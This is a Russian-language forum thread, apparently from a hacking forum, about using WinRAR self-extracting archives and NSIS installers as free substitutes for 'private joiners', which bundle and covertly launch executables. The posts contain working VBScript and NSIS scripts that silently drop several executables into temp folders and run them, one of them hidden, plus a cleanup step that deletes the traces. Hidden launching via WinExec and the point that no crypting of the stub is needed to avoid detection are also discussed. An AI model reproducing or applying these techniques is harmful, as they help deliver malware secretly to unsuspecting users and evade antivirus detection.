Здравствуйте. Сегодня я хочу познакомить Вас с неплохой, как мне кажется, альтернативой приватным джойнерам. Главное ее преимущество -- почти полная бесплатнойсть(в реалиях нашего общества) и отсутствие риска того, что стаб спалится. СравниваемКак многие уже поняли, речь пойдет о самораспаковывающихся архивах. Я буду использовать WinRar, но думаю есть и альтернативы. Давайте подумаем, чем отличается самораспаковывающийся архив от джойнеров. Минусы: отсутствие стандартной возможности запускать несколько exe довольно большой размер Плюсы: неограниченное количество файлов внутри возможность распаковываться в любую папку и использовать переменные среды в пути(подсказка vlader'а) наличие структуры папок отсутствие необходимости в упаковке(сомнительный, но все же) ненадобность криптовать и отбеливать стаб Возможно списки неполны. Практика Итак, что нам нужно от самораспаковывающегося архива? Во-первых, он должен беспаливно распаковаться где то далеко от глаз(реализуется стандартными средствами) Во-вторых, он должен запустить несколько прог(реализуем) в-третьих, он должен убрать за собой(реализуем) В этой статье не будет описан процесс создания невидимых самораспак. архивов, уточню лишь что логичнее папкой распаковки выбирать Programm Files(необычно, согласитесь там искать не будут) или temp. Запуск нескольких файлов. Не секрет, что WinRar после распаковки разрешает запустить только один файл, но это легко обойти таким VBScript'ом: Код: option explicit 'Run(<Command>,<WindowStyle>,<WaitOnReturn>) 'command -- комманда(%comspec% заменяет cmd.exe) 'WindowStyle -- стиль окна(ниже основные константы), необязательно 'WaitOnReturn -- стоит ли дожидаться окончания программы до продолжения(true/false), необязательно 'константы для run 'WindowStyle: const ShowWindow=1 'показать окно программы const DontShowWindow=0 'скрытный запуск программы dim wshshell Set WshShell = CreateObject("WScript.Shell") WshShell.Run "prog2.exe", showwindow, true ' запускаем прогу WshShell.Run "text.txt", showwindow, true 'открываем текстовик(или любой другой файл) WshShell.Run "clean.cmd", dontshowwindow ' уборка Думаю, здесь нет ничего сложного, да и коментов достаточно. Clean.cmd В предидущем скрипте Вы наверное заметили имя этого скрипта. Он делает уборку -- удаляет все файлы из архива (в принципе, не обязательно, но не повредит). Вывод Вывод всего вышесказаного прост: иногда(ИМХО часто) можно обойтись и без приватных джойнеров, лишь WinRar'ом. Как обычно, буду рад выслушать Ваши коментарии, уточнения и пожелания.
Ваяем простой скрипт для инсталлятора NSIS: OutFile "loin.exe" SilentInstall silent RequestExecutionLevel user Section "file" SetOutPath "$TEMP" #куда будет распаковка и запуск файлов SetOverwrite on FindFirst $1 $2 $TEMP\1.exe #проверяем существование файлов,если файлы уже есть,то выходим. StrCmp $2 "1.exe" done FindFirst $1 $2 $TEMP\2.exe StrCmp $2 "2.exe" done FindFirst $1 $2 $TEMP\3.exe StrCmp $2 "3.exe" done File 1.exe #путь до файлов при создании архива.В данном случае из папки,там где скрипт. File 2.exe File 3.exe Exec $TEMP\1.exe #запускаем файлы Exec $TEMP\2.exe Exec $TEMP\3.exe done: FindClose $1 SectionEnd К тому же подчеркну,что этим возможности нсиса не ограничены,использование собственных и сторонних плагинов,использование стандартных winapi функций в скрипте,шифрование файлов и многое другое. В отличии от Inno Setup установщик не может быть полностью декомпилирован,не возможно будет вытащить сценарий.
сорри, у мя абсолютный путь чет не работает. Там можно использовать переменные среды? Ну а если логика посложнее, чем простой последовательный запуск(в зависимости от версии винды, времени, языка запускать проги с разными параметрами или вооще разные проги)? Добавлено через 2 минуты А NSIS может запустить проги скрытно?
j0sur, Да, использовать переменные среды можно. Ты вводишь путь, и у тебя автоматом ставится абсолютный путь. Если очень постараться, то можно реализовать, но код немного увеличится.
Да нет ничего проще!Один из вариантов. Код: System::Call 'kernel32.dll::WinExec(t "$TEMP\1.exe", i 0) i.r0'